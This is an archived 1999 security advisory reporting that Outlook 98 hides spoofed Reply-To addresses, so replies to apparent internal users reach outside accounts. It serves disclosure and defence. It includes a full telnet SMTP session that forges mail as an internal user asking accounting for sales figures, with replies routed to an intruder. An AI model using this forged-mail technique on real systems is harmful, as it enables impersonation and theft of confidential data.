Outlook 98 allows spoofing internal users

From: Nate Lawson (nateat_private)
Date: Tue Apr 20 1999 - 15:10:05 PDT

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    Problem: Outlook uses a sender's Reply-To address silently, allowing
             a user to inadvertently send data to an Internet mail account
             when intending to reply to an internal, trusted user.
    
    Impact: Anyone on the Internet can spoof a trusted internal Exchange user
            and get replies sent back to themself without the user knowing they
            weren't responding to another internal user.
    
    How to reproduce:
    
    1.  Spoof mail as an internal user with a Reply-To address claiming to be
        an internal user, but an address of an Internet account, say hotmail.
    2.  Go into Outlook and read the mail.  The mail looks like it was internally
        generated but viewing the full Internet headers under View->Options
        shows the bogus Reply-To header.
    3.  Hit Reply in Outlook.  The To: field looks like it's going to a valid
        internal user, but right clicking on it and choosing Properties shows
        that the internal user it is sending the reply to is actually an Internet
        address.
    4.  Enter some text and hit Send.  Observe that the mail went to the attacker's
        account, not the internal one.
    
    A quick script:
    
    {root 5:00pm} ~> telnet mail.example.com 25
    Trying 10.20.2.5...
    Connected to mail.example.com.
    Escape character is '^]'.
    220 mail.example.com ESMTP Server (Microsoft Exchange Internet Mail Service 5.5.2448.0) ready
    helo losebag
    250 OK
    mail from:<>
    250 OK - mail from <>
    rcpt to:<accountingat_private>
    250 OK - Recipient <accountingat_private>
    data
    354 Send data.  End with CRLF.CRLF
    From: Nate Lawson
    To: Accounting
    Reply To: Nate Lawson<intruderat_private>
    Subject: important!
    
    Please reply with the latest copy of our sales figures!
    
    Thanks,
    Nate
    .
    250 OK
    quit
    221 closing connection
    Connection closed by foreign host.
    
    Now, a reply to the email will go not to the trusted internal user Nate
    Lawson <nlawsonat_private> but to the attacker, <intruderat_private>.
    Worse, the user sees no indication that the mail is outward-bound!  The
    To: field on the reply simply shows "Nate Lawson", a valid internal user.
    
    Affected programs:  Only tested on Outlook 98
    
    Known use of this bug to get confidential information:  none yet
    
    Suggested Fix: always show the full email address of any recipient that is
    not local (i.e. usernameat_private would be hidden but any instance of
    userat_private would be shown)
    
    Microsoft has been notified, but claimed this was a weakness in SMTP and
    would not be fixed until a secure successor to SMTP is implemented. They
    obviouly missed the point -- the error is not in that mail can be forged,
    but that Outlook allows a user to respond to a message that looks local
    and legitimate, but is actually destined for an outside address.
    
    -Nate
    



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